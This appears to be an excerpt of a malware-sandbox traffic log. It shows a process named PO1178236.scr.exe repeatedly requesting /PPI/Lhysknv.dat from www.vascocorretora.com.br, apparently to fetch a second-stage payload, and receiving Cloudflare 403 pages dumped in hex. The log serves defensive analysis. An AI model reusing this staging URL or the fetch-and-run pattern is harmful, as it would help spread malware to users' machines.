2025-01-09 07:29:32 UTC	1007	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:47 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ncreAeDXfrqgnEmjt%2BfyRH5nhwUrBRKqmCNl05dV%2F7aEsb9uYddv0jnz22QcZHkDe2S9%2FTYXuXBkrnagFeflQeTayv%2Bb7XevGJ5WAdYkpE5oMCpJ2I2kFcjFJqGxH4r8sdGN7kWazKGvztsx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b7836e564337-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2063&min_rtt=2062&rtt_var=775&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1410628&cwnd=222&unsent_bytes=0&cid=13288dea66f68316&ts=152&x=0"
2025-01-09 07:29:32 UTC	362	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:32 UTC	1369	IN	Data Raw: 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 Data Ascii: flare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=de
2025-01-09 07:29:32 UTC	1369	IN	Data Raw: 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 Data Ascii: cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.cap
2025-01-09 07:29:32 UTC	1369	IN	Data Raw: 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 38 33 36 65 35 36 34 33 33 37 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e Data Ascii: -left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b7836e564337</strong></span> <span class="cf-footer-separator sm:hidden
2025-01-09 07:29:32 UTC	1000	IN	Data Raw: 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 38 33 36 65 35 36 34 33 33 37 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 33 4d 69 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 Data Ascii: ndow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b7836e564337',t:'MTczNjQwNzc3Mi4wMDAwMDA='};var
2025-01-09 07:29:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49971	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:33 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:33 UTC	1015	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:48 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RyOUwx0vkSR9xgMaoLDRn%2F4POwqkIAPHgHtTXuwhWu%2FK%2FE4Wg1G7%2FeuoigIVmJdR6s032aFRS%2FSvA6rKIVYFEwpLo1Lqpce%2B00w5sxr27vc90cy4Vhnc3ZhZZk0VmRNoY%2Bd9nKoIFvcMm1p%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b7872b637cee-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1908&min_rtt=1898&rtt_var=733&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1471774&cwnd=176&unsent_bytes=0&cid=827e28fe1f0d7aff&ts=138&x=0"
2025-01-09 07:29:33 UTC	354	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:33 UTC	1369	IN	Data Raw: 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 Data Ascii: \| Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="
2025-01-09 07:29:33 UTC	1369	IN	Data Raw: 2d 73 65 63 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 Data Ascii: -section cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div><!
2025-01-09 07:29:33 UTC	1369	IN	Data Raw: 20 73 6d 3a 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 38 37 32 62 36 33 37 63 65 65 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 Data Ascii: sm:text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b7872b637cee</strong></span> <span class="cf-footer-separator s
2025-01-09 07:29:33 UTC	1008	IN	Data Raw: 70 74 3e 0a 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 38 37 32 62 36 33 37 63 65 65 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 33 4d 79 34 77 4d 44 41 77 4d 44 Data Ascii: pt> window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b7872b637cee',t:'MTczNjQwNzc3My4wMDAwMD
2025-01-09 07:29:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	49977	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:33 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:33 UTC	1005	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:48 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j2X2aRD31c%2BK0MWJgTcNxo4MLyNUOAoGgBi2EjVovkmzl4ovE5bpJ4TUd9vZ5HMbl61fH%2BDbbbYbpSmQ40IJLQU14yuWFECQlz4IlKvLY5nnfIONtjpSCvY3%2FYJOBE5LIwBIouBsyoXf0CSY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b78aed7f4231-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1646&min_rtt=1640&rtt_var=628&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1724748&cwnd=127&unsent_bytes=0&cid=5e47fdef3b880061&ts=145&x=0"
2025-01-09 07:29:33 UTC	364	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:33 UTC	1369	IN	Data Raw: 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 Data Ascii: are</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=devi
2025-01-09 07:29:33 UTC	1369	IN	Data Raw: 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 Data Ascii: f-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captc
2025-01-09 07:29:33 UTC	1369	IN	Data Raw: 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 38 61 65 64 37 66 34 32 33 31 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e Data Ascii: eft border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b78aed7f4231</strong></span> <span class="cf-footer-separator sm:hidden">
2025-01-09 07:29:33 UTC	998	IN	Data Raw: 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 38 61 65 64 37 66 34 32 33 31 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 33 4d 79 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 Data Ascii: ow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b78aed7f4231',t:'MTczNjQwNzc3My4wMDAwMDA='};var a
2025-01-09 07:29:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	49982	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:34 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:34 UTC	1011	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:49 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cwphnS6e2qbpoIQx%2BF%2BbyuszprDRV3m7Wq%2FS9lC4Am0TC1GR3br8l5qRlMns%2Fjpm2Ah6EaCDwCgpRfXnygg3boCGZtL7snuZlOUucIpus43BYaTAmZM5ZTD%2Fcsac%2Fp6fbLGemyQRQ7uD3bC4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b78eaa160f81-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1569&min_rtt=1559&rtt_var=605&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1778319&cwnd=241&unsent_bytes=0&cid=788c2b9f17765a86&ts=141&x=0"
2025-01-09 07:29:34 UTC	358	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 